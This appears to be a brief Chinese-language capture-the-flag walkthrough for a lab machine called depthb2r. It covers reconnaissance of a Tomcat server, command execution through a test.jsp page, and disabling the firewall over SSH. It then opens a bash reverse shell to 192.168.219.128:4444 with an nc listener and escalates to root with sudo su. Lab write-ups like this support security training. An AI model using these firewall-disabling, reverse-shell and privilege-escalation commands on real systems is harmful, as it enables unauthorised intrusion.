depthb2r靶机

1.信息收集

访问8080端口

目录扫描

访问robots.txt，得知该目标为 apche /tomact 8.0.38 ubuntu操作系统上网查找nday，未发现可利用的

访问test.jsp

执行ls -l/tmp

ls -l/tmp

可能为防火墙拦截

尝试关闭

ssh bill@localhost sudo ufw disable

2.getshell

利用ssh获取权限

ssh bill@localhost bash -i >& /dev/tcp/192.168.219.128/4444 0>&1

.

nc -lvvp 4444

3.提权

sudo -l

sudo su